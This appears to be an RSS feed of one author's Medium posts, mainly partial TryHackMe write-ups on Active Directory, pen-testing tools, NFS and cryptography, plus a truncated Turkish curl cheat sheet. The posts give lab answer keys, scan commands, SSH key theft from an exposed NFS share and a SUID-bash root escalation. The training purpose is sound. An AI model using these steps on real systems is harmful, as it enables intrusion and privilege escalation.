<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Fatih Turgut on Medium]]></title>
        <description><![CDATA[Stories by Fatih Turgut on Medium]]></description>
        <link>https://medium.com/@fatihturgutegitim?source=rss-fa97fb57e95a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*QabwVeddTNKFV5AP-oBo5A.jpeg</url>
            <title>Stories by Fatih Turgut on Medium</title>
            <link>https://medium.com/@fatihturgutegitim?source=rss-fa97fb57e95a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 16:18:37 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@fatihturgutegitim/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Active Directory Basics WriteUp — TryHackMe]]></title>
            <link>https://fatihturgutegitim.medium.com/active-directory-basics-writeup-tryhackme-28bb10add8b?source=rss-fa97fb57e95a------2</link>
            <guid isPermaLink="false">https://medium.com/p/28bb10add8b</guid>
            <category><![CDATA[active-directory-basics]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[fthcyber]]></category>
            <dc:creator><![CDATA[Fatih Turgut]]></dc:creator>
            <pubDate>Thu, 15 Oct 2020 12:45:19 GMT</pubDate>
            <atom:updated>2020-10-15T12:45:19.814Z</atom:updated>
            <content:encoded><![CDATA[<h3>Active Directory Basics WriteUp — TryHackMe</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/0*esy9duom8ENxGZSI" /></figure><p>In this article, I tried to prepare a write-up for the <a href="https://tryhackme.com/room/activedirectorybasics"><strong><em>“Active Directory Basics”</em></strong></a> room on <strong>tryhackme</strong>.</p><h3>[Task 1] Introduction</h3><p>Active Directory is the directory service for Windows Domain Networks. It is used by many of today’s top companies and is a vital skill to comprehend when attacking Windows.</p><blockquote>#1 I understand what Active Directory is and why it is used.</blockquote><blockquote><em>ANSWER: No answer needed</em></blockquote><h3>[Task 2] Physical Active Directory</h3><blockquote>#1 What database does the AD DS contain?</blockquote><p>Contains the <strong>NTDS.dit</strong> — a database that contains all of the information of an Active Directory domain controller as well as password hashes for domain users.</p><blockquote><em>ANSWER: NTDS.dit</em></blockquote><blockquote>#2 Where is the NTDS.dit stored?</blockquote><p>Stored by default in <strong>%SystemRoot%\NTDS</strong>.</p><blockquote><em>ANSWER: %SystemRoot%\NTDS</em></blockquote><blockquote>#3 What type of machine can be a domain controller?</blockquote><p>A domain controller is a<strong> Windows server</strong> that has Active Directory Domain Services (AD DS) installed and has been promoted to a domain controller in the forest.</p><blockquote><em>ANSWER: Windows Server</em></blockquote><h3>[Task 3] The Forest</h3><blockquote>#1 What is the term for a hierarchy of domains in a network?</blockquote><p><strong>Trees</strong>: A hierarchy of domains in Active Directory Domain Services.</p><blockquote><em>ANSWER: Tree</em></blockquote><blockquote>#2 What is the term for the rules for object creation?</blockquote><p><strong>Domain Schema:</strong> Rules for object creation.</p><blockquote><em>ANSWER: Domain Schema</em></blockquote><blockquote>#3 What is the term for containers for groups, computers, users, printers, and other OUs?</blockquote><p><strong>Organizational Units:</strong> Containers for groups, computers, users, printers and other OUs</p><blockquote><em>ANSWER: Organizational Units</em></blockquote><h3>For Continuation of the Solution</h3><p>So far I have tried to explain some of the solution. You can find full solution this<a href="https://fthcyber.com/2020/10/15/active-directory-basics-writeup-tryhackme/"><strong><em> my official website.</em></strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=28bb10add8b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MAL: Strings WriteUp — TryHackMe]]></title>
            <link>https://fatihturgutegitim.medium.com/mal-strings-writeup-tryhackme-484574db35a2?source=rss-fa97fb57e95a------2</link>
            <guid isPermaLink="false">https://medium.com/p/484574db35a2</guid>
            <category><![CDATA[fthcyber]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[malstrings]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Fatih Turgut]]></dc:creator>
            <pubDate>Wed, 14 Oct 2020 19:20:27 GMT</pubDate>
            <atom:updated>2020-10-14T19:22:50.852Z</atom:updated>
            <content:encoded><![CDATA[<h3>MAL: Strings WriteUp — TryHackMe</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/0*E4mzpV-i0WJAcIpK" /></figure><p>In this article, I tried to prepare a write-up for the <a href="https://tryhackme.com/room/malstrings"><strong><em>“MAL: Strings”</em></strong></a> room on <strong>tryhackme</strong>.</p><h3>[Task 1] What are “strings”?</h3><p>From a programming perspective, “strings” is the term given for data handled by an application. At a broader view, these pieces of data are used to store information such as text to numerical values.</p><blockquote>#1 What is the name of the account that had the passcode of “12345678” in the intellian example discussed above?</blockquote><blockquote><em>ANSWER: intellian</em></blockquote><blockquote>#2 What is the CVE entry disclosed by the company “Teradata” in their “Viewpoint” Application that has a password within a string?</blockquote><blockquote><em>ANSWER: CVE-2019–6499</em></blockquote><blockquote>#3 According to OWASP’s list of “Top Ten IoT” vulnerabilities, name the ranking this vulnerability would fall within, represented as text.</blockquote><blockquote><em>ANSWER: one</em></blockquote><h3>[Task 2] Practical: Extracting “strings” From an Application</h3><blockquote>#1 What is the correct username required by the “LoginForm”?</blockquote><blockquote><em>ANSWER: cmnatic</em></blockquote><blockquote>#2 What is the required password to authenticate with?</blockquote><blockquote><em>ANSWER: TryHackMeMerchWhen</em></blockquote><blockquote>#3 What is the “hidden” THM{} flag?</blockquote><blockquote><em>ANSWER: THM{Not_So_Hidden_Flag}</em></blockquote><h3>For Continuation of the Solution</h3><p>So far I have tried to explain some of the solution. You can find full solution this <a href="https://fthcyber.com/2020/10/14/mal-strings-writeup-tryhackme/"><strong><em>my official website.</em></strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=484574db35a2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CC: Pen Testing WriteUp — TryHackMe]]></title>
            <link>https://fatihturgutegitim.medium.com/cc-pen-testing-writeup-tryhackme-5442dc0705b3?source=rss-fa97fb57e95a------2</link>
            <guid isPermaLink="false">https://medium.com/p/5442dc0705b3</guid>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ccpentesting]]></category>
            <dc:creator><![CDATA[Fatih Turgut]]></dc:creator>
            <pubDate>Wed, 14 Oct 2020 14:00:31 GMT</pubDate>
            <atom:updated>2020-10-14T14:00:31.541Z</atom:updated>
            <content:encoded><![CDATA[<h3>CC: Pen Testing WriteUp — TryHackMe</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/0*Z_UQPXlIlq1SgR9P" /></figure><p>In this article, I tried to prepare a write-up for the <a href="https://tryhackme.com/room/ccpentesting"><strong><em>“CC: Pen Testing”</em></strong></a> room on <strong>tryhackme</strong>.</p><h3>[Task 1] Introduction</h3><p>The idea behind this room is to provide an introduction to various tools and concepts commonly encountered in penetration testing.</p><blockquote>#1 Read the above.</blockquote><blockquote><em>ANSWER: No answer needed</em></blockquote><h3>[Task 2] [Section 1 — Network Utilities] — nmap</h3><p>nmap is one of the most important tools for pentesting.</p><blockquote>#1 What does nmap stand for?</blockquote><blockquote><em>ANSWER: Network Mapper</em></blockquote><blockquote>#2 How do you specify which port(s) to scan?</blockquote><blockquote><em>ANSWER: -p</em></blockquote><blockquote>#3 How do you do a “ping scan”(just tests if the host(s) is up)?</blockquote><blockquote><em>ANSWER: -sn</em></blockquote><blockquote>#4 What is the flag for a UDP scan?</blockquote><blockquote><em>ANSWER: -sU</em></blockquote><blockquote>#5 How do you run default scripts?</blockquote><blockquote><em>ANSWER: -sC</em></blockquote><blockquote>#6 How do you enable “aggressive mode”?</blockquote><blockquote><em>ANSWER: -A</em></blockquote><blockquote>#7 What flag enables OS detection</blockquote><blockquote><em>ANSWER: -O</em></blockquote><blockquote>#8 How do you get the versions of services running on the target machine</blockquote><blockquote><em>ANSWER: -sV</em></blockquote><blockquote>#9 Deploy the machine</blockquote><p>After deploy the machine, you can run this nmap command:</p><p>nmap -A -sC -sV -O &lt;IP Address&gt;</p><p><strong>You can see my nmap result</strong>. <strong>All answer can be seen</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*H6GMgJ7JegVl9zU2" /></figure><blockquote><em>ANSWER: No answer needed</em></blockquote><blockquote>#10 How many ports are open on the machine?</blockquote><blockquote><em>ANSWER: 1</em></blockquote><blockquote>#11 What service is running on the machine?</blockquote><blockquote><em>ANSWER: Apache</em></blockquote><blockquote>#12 What is the version of the service?</blockquote><blockquote><em>ANSWER: 2.4.18</em></blockquote><blockquote>#13 What is the output of the http-title script(included in default scripts)</blockquote><blockquote><em>ANSWER: Apache2 Ubuntu Default Page: It Works</em></blockquote><h3>[Task 3] [Section 1 — Network Utilities] — Netcat</h3><p>You can see netcat help page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vhhrSHqPm50CoKoV" /></figure><blockquote>#1 How do you listen for connections?</blockquote><blockquote><em>ANSWER: -l</em></blockquote><blockquote>#2 How do you enable verbose mode(allows you to see who connected to you)?</blockquote><blockquote><em>ANSWER: -v</em></blockquote><blockquote>#3 How do you specify a port to listen on</blockquote><blockquote><em>ANSWER: -p</em></blockquote><blockquote>#4 How do you specify which program to execute after you connect to a host(One of the most infamous)?</blockquote><blockquote><em>ANSWER: -e</em></blockquote><blockquote>#5 How do you connect to udp ports</blockquote><blockquote><em>ANSWER: -u</em></blockquote><h3>[Task 4] [Section 2 — Web Enumeration] — gobuster</h3><p>You can see <a href="http://manpages.ubuntu.com/manpages/cosmic/man1/gobuster.1.html"><strong><em>gobuster help page</em></strong></a>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9ubIKjMX3ewoQ_mw" /></figure><blockquote>#1 How do you specify directory/file brute forcing mode?</blockquote><blockquote><em>ANSWER: dir</em></blockquote><blockquote>#2 How do you specify dns bruteforcing mode?</blockquote><blockquote><em>ANSWER: dns</em></blockquote><blockquote>#3 What flag sets extensions to be used?</blockquote><blockquote><em>ANSWER: -x</em></blockquote><blockquote>#4 What flag sets a wordlist to be used?</blockquote><blockquote><em>ANSWER: -w</em></blockquote><blockquote>#5 How do you set the Username for basic authentication?</blockquote><blockquote><em>ANSWER: -U</em></blockquote><blockquote>#6 How do you set the password for basic authentication?</blockquote><blockquote><em>ANSWER: -P</em></blockquote><blockquote>#7 How do you set which status codes gobuster will interpret as valid?</blockquote><blockquote><em>ANSWER: -s</em></blockquote><blockquote>#8 How do you skip ssl certificate verification?</blockquote><blockquote><em>ANSWER: -k</em></blockquote><blockquote>#9 How do you specify a User-Agent?</blockquote><blockquote><em>ANSWER: -a</em></blockquote><blockquote>#10 How do you specify a HTTP header?</blockquote><blockquote><em>ANSWER: -H</em></blockquote><blockquote>#11 What flag sets the URL to bruteforce?</blockquote><blockquote><em>ANSWER: -u</em></blockquote><blockquote>#12 Deploy the machine</blockquote><p>After deploy the machine, you can run this command:</p><p>gobuster dir -u <a href="http:">http://</a>&lt;Machine IP&gt; -w /usr/share/wordlists/dirb/common.txt -t 64</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*AmtTPA8RaArmK9wX" /></figure><blockquote>#13 What is the name of the hidden directory</blockquote><p>You can see the answer above picture.</p><blockquote><em>ANSWER: secret</em></blockquote><blockquote>#14 What is the name of the hidden file with the extension xxa</blockquote><p>You can see my answer:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ZllPYBsXSrkTQAvT" /></figure><blockquote><em>ANSWER: password</em></blockquote><h3>[Task 5] [Section 2 — Web Enumeration] — nikto</h3><p>You can use nikto help page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8CjETrUr6Vz6uzKj" /></figure><blockquote>#1 How do you specify which host to use?</blockquote><blockquote><em>ANSWER: -h</em></blockquote><blockquote>#2 What flag disables ssl?</blockquote><blockquote><em>ANSWER: -nossl</em></blockquote><blockquote>#3 How do you force ssl?</blockquote><blockquote><em>ANSWER: -ssl</em></blockquote><blockquote>#4 How do you specify authentication(username + pass)?</blockquote><blockquote><em>ANSWER: -id</em></blockquote><blockquote>#5 How do you select which plugin to use?</blockquote><blockquote><em>ANSWER: -plugins</em></blockquote><blockquote>#6 Which plugin checks if you can enumerate apache users?</blockquote><p>You have to run this command:</p><p>nikto --list-plugins</p><p>Then you can show the answer:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MrPy-45vnTMAHRIQ" /></figure><blockquote><em>ANSWER: apacheusers</em></blockquote><blockquote>#7 How do you update the plugin list ?</blockquote><blockquote><em>ANSWER: -update</em></blockquote><blockquote>#8 How do you list all possible plugins to use?</blockquote><blockquote><em>ANSWER: –list-plugins</em></blockquote><h3>For Continuation of the Solution</h3><p>So far I have tried to explain some of the solution. You can find full solution this <a href="https://fthcyber.com/2020/10/14/cc-pen-testing-writeup-tryhackme/"><strong><em>my official website.</em></strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5442dc0705b3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Network Services 2 WriteUp — TryHackMe]]></title>
            <link>https://fatihturgutegitim.medium.com/network-services-2-writeup-tryhackme-19b630d84b5f?source=rss-fa97fb57e95a------2</link>
            <guid isPermaLink="false">https://medium.com/p/19b630d84b5f</guid>
            <category><![CDATA[fthcyber]]></category>
            <category><![CDATA[network-services-2]]></category>
            <category><![CDATA[commonapplicationofmysql]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Fatih Turgut]]></dc:creator>
            <pubDate>Fri, 02 Oct 2020 09:12:52 GMT</pubDate>
            <atom:updated>2020-10-02T09:12:52.891Z</atom:updated>
            <content:encoded><![CDATA[<h3>Network Services 2 WriteUp — TryHackMe</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/0*CFGEqLUdG3TFWXPa" /></figure><p>In this article, I tried to prepare a write-up for the <a href="https://tryhackme.com/room/networkservices2"><strong><em>“Network Services 2”</em></strong></a> room on <strong>tryhackme</strong>.</p><h3>[Task 1] Get Connected</h3><p>This room is a sequel to the first network services room. Similarly, it will explore a few more common Network Service vulnerabilities and misconfigurations that you’re likely to find in CTFs, and some penetration test scenarios.</p><blockquote>#1 Ready? Let’s get going!</blockquote><blockquote><em>ANSWER: No answer needed</em></blockquote><h3>[Task 2] Understanding NFS</h3><p>NFS stands for “Network File System” and allows a system to share directories and files with others over a network. By using NFS, users and programs can access files on remote systems almost as if they were local files. It does this by mounting all, or a portion of a file system on a server. The portion of the file system that is mounted can be accessed by clients with whatever privileges are assigned to each file.</p><blockquote>#1 What does NFS stand for?</blockquote><p>NFS stands for<strong> “Network File System”</strong> and allows a system to share directories and files with others over a network.</p><blockquote><em>ANSWER: Network File System</em></blockquote><blockquote>#2 What process allows an NFS client to interact with a remote directory as though it was a physical device?</blockquote><p>By using NFS, users and programs can access files on remote systems almost as if they were local files. <strong>It does this by “mounting” all,</strong> or a portion of a file system on a server.</p><blockquote><em>ANSWER: Mounting</em></blockquote><blockquote>#3 What does NFS use to represent files and directories on the server?</blockquote><p>If someone wants to access a file using NFS, an RPC call is placed to NFSD (the NFS daemon) on the server. This call takes parameters such as:</p><ul><li><strong>The file handle</strong></li><li>The name of the file to be accessed</li><li>The user’s, user ID</li><li>The user’s group ID</li></ul><blockquote><em>ANSWER: file Handle</em></blockquote><blockquote>#4 What protocol does NFS use to communicate between the server and client?</blockquote><p>The mount service will then act to connect to the relevant mount daemon using <strong>RPC</strong>.</p><blockquote><em>ANSWER: RPC</em></blockquote><blockquote>#5 What two pieces of user data does the NFS server take as parameters for controlling user permissions?</blockquote><p>If someone wants to access a file using NFS, an RPC call is placed to NFSD (the NFS daemon) on the server. This call takes parameters such as:</p><ul><li>The file handle</li><li>The name of the file to be accessed</li><li>The user’s, <strong>user ID</strong></li><li>The user’s <strong>group ID</strong></li></ul><blockquote><em>ANSWER: user id / group id</em></blockquote><blockquote>#6 Can a Windows NFS server share files with a Linux client? (Y/N)</blockquote><blockquote><em>ANSWER: Y</em></blockquote><blockquote>#7 Can a Linux NFS server share files with a MacOS client? (Y/N)</blockquote><blockquote><em>ANSWER: Y</em></blockquote><blockquote>#8 What is the latest version of NFS?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*wNC-hI24FS0PNaMT" /></figure><p>You can find the answer <a href="https://en.wikipedia.org/wiki/Network_File_System"><strong><em>on this website</em></strong></a></p><blockquote><em>ANSWER: 4.2</em></blockquote><h3>[Task 3] Enumerating NFS</h3><p>You can use this Nmap query:</p><p>1nmap -p- -A -sC -Pn [IP Adress]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*T2QeaBuSsepFztXw" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*M6GXbLYA6sAETcF2" /></figure><blockquote>#1 Conduct a thorough port scan scan of your choosing, how many ports are open?</blockquote><p>Port 22, 111, 2049, 37069, 39969, 41047, 48707 are open.</p><blockquote><em>ANSWER: 7</em></blockquote><blockquote>#2 Which port contains the service we’re looking to enumerate?</blockquote><p>You can see the answer in the 2nd picture above.</p><blockquote><em>ASNWER: 2049</em></blockquote><blockquote>#3 Now, use /usr/sbin/showmount -e [IP] to list the NFS shares, what is the name of the visible share?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*6FglGNRpdEWJwklO" /></figure><blockquote><em>ANSWER: /home</em></blockquote><blockquote>#4 Change directory to where you mounted the share- what is the name of the folder inside?</blockquote><p>Time to mount the share to our local machine!</p><p>First, use “<em>mkdir /tmp/mount</em>” to create a directory on your machine to mount the share to. This is in the /tmp directory- so be aware that it will be removed on restart.</p><p>Then, use the mount command we broke down earlier to mount the NFS share to your local machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Foa6dP9rUO17RWC1" /></figure><blockquote><em>ANSWER: cappucino</em></blockquote><blockquote>#5 Have a look inside this directory, look at the files. Looks like we’re inside a user’s home directory…</blockquote><blockquote><em>ANSWER: No answer needed</em></blockquote><blockquote>#6 Which of these folders could contain keys that would give us remote access to the server?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*w5v74pJzJWq3hOli" /></figure><blockquote><em>ANSWER: .ssh</em></blockquote><blockquote>#7 Which of these keys is most useful to us?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*JXvxU7GiMhz6qXP9" /></figure><blockquote><em>ANSWER: id_rsa</em></blockquote><blockquote>#8 Can we log into the machine using ssh -i &lt;key-file&gt; &lt;username&gt;@&lt;ip&gt; ? (Y/N)</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*dAyjNe68LmqmDIoH" /></figure><blockquote><em>ANSWER: Y</em></blockquote><h3>[Task 4] Exploiting NFS</h3><blockquote>#1 First, change directory to the mount point on your machine, where the NFS share should still be mounted, and then into the user’s home directory.</blockquote><blockquote><em>ANSWER: No answer needed</em></blockquote><blockquote>#2 The copied bash shell must be owned by a root user, you can set this using “sudo chown root bash”</blockquote><blockquote><em>ANSWER: No answer needed</em></blockquote><blockquote>#3 What letter do we use to set the SUID bit set using chmod?</blockquote><blockquote><em>ANSWER: s</em></blockquote><blockquote>#4 What does the permission set look like? Make sure that it ends with -sr-x.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*2q9g8HQ4yPiZ3gJF" /></figure><blockquote><em>ANSWER: -rwsr-sr-x</em></blockquote><blockquote>#5 The -p persists the permissions, so that it can run as root with SUID- as otherwise bash will sometimes drop the permissions.</blockquote><blockquote><em>ANSWER: No answer needed</em></blockquote><blockquote>#6 Great! If all’s gone well you should have a shell as root! What’s the root flag?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*m_NZpBI9wFw0P0lZ" /></figure><blockquote><em>ANSWER: I’m sure you can find it in your own efforts</em></blockquote><h3>For Continuation of the Solution</h3><p>So far I have tried to explain some of the solution. You can find full solution this <a href="https://fthcyber.com/2020/10/02/network-services-2-writeup-tryhackme/"><strong><em>my official website.</em></strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=19b630d84b5f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Encryption Crypto 101 WriteUp — TryHackMe]]></title>
            <link>https://fatihturgutegitim.medium.com/encryption-crypto-101-writeup-tryhackme-146f51e89c14?source=rss-fa97fb57e95a------2</link>
            <guid isPermaLink="false">https://medium.com/p/146f51e89c14</guid>
            <dc:creator><![CDATA[Fatih Turgut]]></dc:creator>
            <pubDate>Wed, 30 Sep 2020 10:46:45 GMT</pubDate>
            <atom:updated>2020-09-30T10:46:45.127Z</atom:updated>
            <content:encoded><![CDATA[<h3>Encryption Crypto 101 WriteUp — TryHackMe</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/0*i1OtOFwtwZHByKsa" /></figure><p>In this article, I tried to prepare a write-up for the <a href="https://tryhackme.com/room/encryptioncrypto101"><strong><em>“Encryption — Crypto 101”</em></strong></a> room on <strong>tryhackme</strong>.</p><h3>[Task 1] What will this room cover?</h3><p><strong>This room will cover:</strong></p><ul><li>Why cryptography matters for security and CTFs</li><li>The two main classes of cryptography and their uses</li><li>RSA, and some of the uses of RSA</li><li>2 methods of Key Exchange</li><li>Notes about the future of encryption with the rise of Quantum Computing</li></ul><blockquote>#1 I’m ready to learn about encryption</blockquote><blockquote><em>ANSWER: No answer needed</em></blockquote><h3>[Task 2] Key terms</h3><p>Many of these key terms are shared with <a href="https://tryhackme.com/room/hashingcrypto101">https://tryhackme.com/room/hashingcrypto101</a>, so you might be able to skip over some if you’re already familiar.</p><blockquote>#1 I agree not to complain too much about how theory heavy this room is.</blockquote><blockquote><em>ANSWER: No answer needed</em></blockquote><blockquote>#2 Are SSH keys protected with a passphrase or a password?</blockquote><p><strong>Passphrase</strong>: Separate to the key, a passphrase is similar to a password and used to protect a key.</p><blockquote><em>ANSWER: passphrase</em></blockquote><h3>[Task 3] Why is Encryption important?</h3><p>Cryptography is used to protect confidentiality, ensure integrity, ensure authenticity. You use cryptography every day most likely, and you’re almost certainly reading this now over an encrypted connection.</p><blockquote>#1 What does SSH stand for?</blockquote><p><strong>Secure Shell</strong> (<strong>SSH</strong>) is a cryptographic network protocol for operating network services securely over an unsecured network. You can read about SSH on <a href="https://en.wikipedia.org/wiki/Ssh_(Secure_Shell)#:~:text=Secure%20Shell%20(SSH)%20is%20a,securely%20over%20an%20unsecured%20network.&amp;text=The%20protocol%20specification%20distinguishes%20between,%2D1%20and%20SSH%2D2."><strong><em>this web site</em></strong></a>.</p><blockquote><em>ANSWER: Secure Shell</em></blockquote><blockquote>#2 How do web servers prove their identity?</blockquote><p>When you connect to your bank, there’s a <strong>certificate </strong>that uses cryptography to prove that it is actually your bank rather than a hacker.</p><blockquote><em>ANSWER: certificates</em></blockquote><blockquote>#3 What is the main set of standards you need to comply with if you store or process payment card details?</blockquote><p>Whenever sensitive user data needs to be stored, it should be encrypted. Standards like PCI-DSS state that the data should be encrypted both at rest (in storage) AND while being transmitted. <strong>If you’re handling payment card details, you need to comply with these PCI regulations</strong>.</p><blockquote><em>ANSWER: PCI-DSS</em></blockquote><h3>[Task 4] Crucial Crypto Maths</h3><p>There’s a little bit of math(s) that comes up relatively often in cryptography. The Modulo operator. Pretty much every programming language implements this operator, or has it available through a library. When you need to work with large numbers, use a programming language. Python is good for this as integers are unlimited in size, and you can easily get an interpreter.</p><blockquote>#1 What’s 30 % 5?</blockquote><blockquote><em>ANSWER: 0</em></blockquote><blockquote>#2 What’s 25 % 7</blockquote><blockquote><em>ANSWER: 4</em></blockquote><blockquote>#3 What’s 118613842 % 9091</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SKV1rp1XfLGB9ffg" /></figure><blockquote><em>ANSWER: 3565</em></blockquote><h3>For Continuation of the Solution</h3><p>So far I have tried to explain some of the solution. You can find full solution this <a href="https://fthcyber.com/2020/09/30/encryption-crypto-101-writeup-tryhackme/"><strong><em>my official website</em></strong>.</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=146f51e89c14" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hashing Crypto 101 WriteUp — TryHackMe]]></title>
            <link>https://fatihturgutegitim.medium.com/hashing-crypto-101-writeup-tryhackme-de6e470425d?source=rss-fa97fb57e95a------2</link>
            <guid isPermaLink="false">https://medium.com/p/de6e470425d</guid>
            <dc:creator><![CDATA[Fatih Turgut]]></dc:creator>
            <pubDate>Mon, 28 Sep 2020 12:39:44 GMT</pubDate>
            <atom:updated>2020-09-29T06:53:05.790Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hashing Crypto 101 WriteUp — TryHackMe</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/0*afbNNj0j_SC4pIF8" /></figure><p>In this article, I tried to prepare a write-up for the <a href="https://tryhackme.com/room/hashingcrypto101"><strong><em>“Hashing — Crypto 101” </em></strong></a>room on <strong>tryhackme</strong>.</p><h3>[Task 1] Key Terms</h3><blockquote>#1 Is base64 encryption or encoding?</blockquote><p><strong>Encoding</strong> — This is NOT a form of encryption, just a form of data representation like base64 or hexadecimal. Immediately reversible.</p><blockquote><strong><em>ANSWER:</em></strong><em> encoding</em></blockquote><h3>[Task 2] What is a hash function?</h3><p><strong><em>Hash functions</em></strong> are quite different from encryption. There is no key, and it’s meant to be impossible (or very very difficult) to go from the output back to the input.</p><blockquote>#1 What is the output size in bytes of the MD5 hash function?</blockquote><p>MD5 processes a variable-length message into a fixed-length output of 128 bits.</p><p>128 bit= 16 bytes</p><blockquote><strong><em>ANSWER: </em></strong><em>16</em></blockquote><blockquote>#2 Can you avoid hash collisions? (Yea/Nay)</blockquote><blockquote><strong><em>ANSWER: </em></strong><em>Nay</em></blockquote><blockquote>#3 If you have an 8 bit hash output, how many possible hashes are there?</blockquote><p>There are 28 possibles hashes.</p><blockquote><strong><em>ANSWER: </em></strong><em>256</em></blockquote><h3>For Continuation of the Solution</h3><p>So far I have tried to explain some of the solution. You can find full solution this <a href="https://fthcyber.com/2020/09/28/hashing-crypto-101-writeup-tryhackme/"><strong><em>my official website</em></strong></a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=de6e470425d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[cURL Cheet Sheet [TR]]]></title>
            <link>https://fatihturgutegitim.medium.com/curl-cheet-sheet-tr-512080d98481?source=rss-fa97fb57e95a------2</link>
            <guid isPermaLink="false">https://medium.com/p/512080d98481</guid>
            <category><![CDATA[cheatsheet]]></category>
            <category><![CDATA[fthcyber]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[curl]]></category>
            <category><![CDATA[trs]]></category>
            <dc:creator><![CDATA[Fatih Turgut]]></dc:creator>
            <pubDate>Mon, 31 Aug 2020 11:57:09 GMT</pubDate>
            <atom:updated>2020-09-25T08:50:46.407Z</atom:updated>
            <content:encoded><![CDATA[<h3>cURL Cheat Sheet [TR]</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/410/1*V2XrK5PPzRsMNH5IGKb-YQ.png" /></figure><p>Bu yazımda sizler “curl” komutu hakkında bilgi vermeye ve nasıl kullanılacağına dair örnekler ile göstermeye çalışacağım. Şimdiden okuyan herkese teşekkür ederim :)</p><h3>cURL nedir?</h3><p>“Client URL” sözcüğünün kısaltılmış halidir. Bu araç ile HTTP isteklerini komut satırından yapabiliriz. cURL ile client yani istemci tarafından URL transferi yapabilmemizi sağlayan bir kütüphanedir. URL içerisinde veri aktarı sağlar. Ayrıca URL’in bir karşılığı olup olmadığını kontrol etmemizi de sağlar. Bunu yaparken URL adresine “GET”, “PUT”, “DELETE” veya “POST” istekleri atmamıza imkan verir.</p><p>Curl komutunun desteklediği bazı protokoller şunlardır:</p><ol><li>HTTP ve HTTPS</li><li>FTP ve FTPS</li><li>IMAP ve IMAPS</li><li>POP3 ve POP3S</li><li>SMB ve SMBS</li><li>SCP</li><li>TELNET</li><li>SMTP ve SMTPS</li></ol><h3>cURL Kullanımı Örnekleri</h3><h4>1) cURL kurulumu</h4><p>Debian veya Ubuntu tabanlı linux işletim sistemlerine aşağıdaki gibi kurulumu yapılabilir.</p><blockquote>apt install curl</blockquote><h4>2) En basit kullanımı</h4><p>Aşağıdaki kullanım ile sayfanın kaynak kodunu elde edebiliriz</p><blockquote>curl &lt;web sitesi adı&gt;</blockquote><p>Tabiki de eğer çıktımızı daha kısa halde görmek istersek “-v” parametresini 